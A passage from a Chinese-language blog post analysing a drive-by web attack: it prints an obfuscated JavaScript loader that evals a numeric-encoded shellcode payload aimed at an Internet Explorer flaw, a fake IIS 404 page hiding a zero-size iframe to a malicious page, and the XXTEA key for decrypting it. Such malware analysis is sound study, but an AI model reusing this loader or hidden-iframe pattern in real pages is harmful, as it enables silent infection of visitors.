                return string;
            },
            obfuscate: function(str) {
                var container = '';
                for (var i = 0,
                z = 0; i < str.length; i = i + 3, z++) {
                    container += String.fromCharCode(str.substring(i, i + 3) - this.signature.substring(z %                                                                     this.signature.length, z % this.signature.length + 1).charCodeAt(0));
                    }
                    return CRYPT.decode(container);
                }
            }
                    eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122130170144210184211201104140130146180175229195190106168156188190222191174168172129166183128168223196152151163160115168188171223176122132193157158179228189189118165157155187151203194176156153191153191181201159152151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155189192158201140173203143179205192190172157139168137136206189190219110143132137119190164209214143137190122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166183128190164176151142104185178161184222161203125128135168122175222205187102171172155170204201175152130137154149119200184180211152142168175170152195217178137170139156121171162195153156165172150179156216194152110121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215189173130191124190191201158214126161182137157168187221176158111191157192158236203174110105158177137212213174160163144170149173190201218207154122130187145211187163176158170160156159183225182213127158180176153219212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151187213204211207174144170136188200223192225152125139184170151200191193141158130147155149219183186126166183118145209214178189174152187133119200224192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));

另外,和段代码后面还有一段是加密过的,通过格式来看仅为数字,没有任何分隔符\或者%,可以推测这是一段加密过的二级制代码,这段代码很可能是另一个攻击软件的下载代码。

这个是shellcode做到的事情,通过利用IE浏览器的漏洞,来进行各种操作,这个攻击是针对32位windows系统的,甚至可以看到针对的是i386的核心。

另外,这个攻击中有二进制可执行恶意代码参与,就是上述代码最后一段

附录1————加解密工具:

1、MD5在线:http://tool.chinaz.com/tools/md5.aspx
2、JavaScript加解密综合工具http://www.oicqzone.com/tool/eval/(好用没毛病)
3、站长escape/unescape加解密工具:http://tool.chinaz.com/tools/escape.aspx
4、unicode加解密工具:https://www.sojson.com/unicode.html

附录2————start.html源码

这里从pdf文档中获取start.html源码

        <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
        <html dir=ltr>
        <head>
        <style>
        a:link {font:9pt/11pt 宋体; color:FF0000}
        a:visited {font:9pt/11pt 宋体; color:#4e4e4e}
        </style>
        <META NAME="ROBOTS" CONTENT="NOINDEX">
        <title>找不到网页</title>
        <META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
        </head>
        <script>
        function Homepage(){
        <!--
        // in real bits, urls get returned to our script like this:
        // res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm 
        //For testing use DocURL = 
        "res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
        DocURL = document.URL;
        //this is where the http or https will be, as found by searching for :// but skipping 
        the res://
        protocolIndex=DocURL.indexOf("://",4);
        //this finds the ending slash for the domain server 
        serverIndex=DocURL.indexOf("/",protocolIndex + 3);
        //for the href, we need a valid URL to the domain. We search for the # symbol 
        to find the begining 
        //of the true URL, and add 1 to skip it - this is the BeginURL value. We use 
        serverIndex as the end marker.
        //urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
        BeginURL=DocURL.indexOf("#",1) + 1;
        urlresult="new09.htm";
        //for display, we need to skip after http://, and go to the next slash
        displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);
        InsertElementAnchor(urlresult, displayresult);
        }
        function HtmlEncode(text)
        {
         return text.replace(/&/g, '&amp').replace(/'/g, '&quot;').replace(/</g, 
        '&lt;').replace(/>/g, '&gt;');
        }
        function TagAttrib(name, value)
        {
         return ' '+name+'="'+HtmlEncode(value)+'"';
        }
        function PrintTag(tagName, needCloseTag, attrib, inner){
         document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) );
        if (needCloseTag) document.write( '</' + tagName +'>' );
        }
        function URI(href)
        {
         IEVer = window.navigator.appVersion;
         IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 );
         return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ?
         encodeURI(href) :
         escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';');
        }
        function InsertElementAnchor(href, text)
        {
         PrintTag('A', true, TagAttrib('HREF', URI(href)), text);
        }
        //-->
        </script>
        <body bgcolor="FFFFFF">
        <table width="410" cellpadding="3" cellspacing="5">
         <tr> 
         <td align="left" valign="middle" width="360">
        <h1 style="COLOR:000000; FONT: 12pt/15pt 宋体"><!--Problem-->找不到网页</h1>
         </td>
         </tr> 
         <tr>
         <td width="400" colspan="2">
        <font style="COLOR:000000; FONT: 9pt/11pt 宋体">正在查找的网页可能已被删除、重
        命名或暂时不可用。</font></td>
         </tr>
         <tr>
         <td width="400" colspan="2">
        <font style="COLOR:000000; FONT: 9pt/11pt 宋体">
        <hr color="#C0C0C0" noshade>
         <p>请尝试执行下列操作:</p>
         <ul>
          <li>如果是在“地址”栏中键入了网页地址,请检查其拼写是否正确。<br></li>

          <li>打开 <script>
          <!--
          if (!((window.navigator.userAgent.indexOf("MSIE") > 0) && 
         (window.navigator.appVersion.charAt(0) == "2")))
          { 
          Homepage();
          }
          //-->
          </script>
          主页,然后查找与所需信息相关的链接。</li> 
          <li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
          </ul>
          <h2 style="font:9pt/11pt 宋体; color:000000">HTTP 错误 404 - 找不到文件<br> 
         Internet 信息服务<BR></h2>
         <hr color="#C0C0C0" noshade>
         <p>技术信息(用于支持人员)</p>
         <ul>
         <li> 详 细 信 息 : <br><a 
         href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=40
         4&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_blank">Microsoft 支持</a>
         </li>
         </ul> 
          </font></td>
          </tr>
         </table>
         <iframe src="new09.htm" width="0" height="0"></iframe>
         </body>
         </html>

附录3————XXTEA解密源码

这里获得了XXTEA加密过后的网页源码(如下所示),XXTEA加密重点在于密钥,下面这行提供了密钥的线索
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
'\x73\x63\x72\x69\x70\x74'这个就是密钥
拿着这个密钥,我们下载XXTEA解密工具,来获取解密后的源码(解码后的源码贴在上面正文里)

posted @ 2020-05-20 20:43  杜皓睿20199313  阅读(840)  评论(0编辑  收藏  举报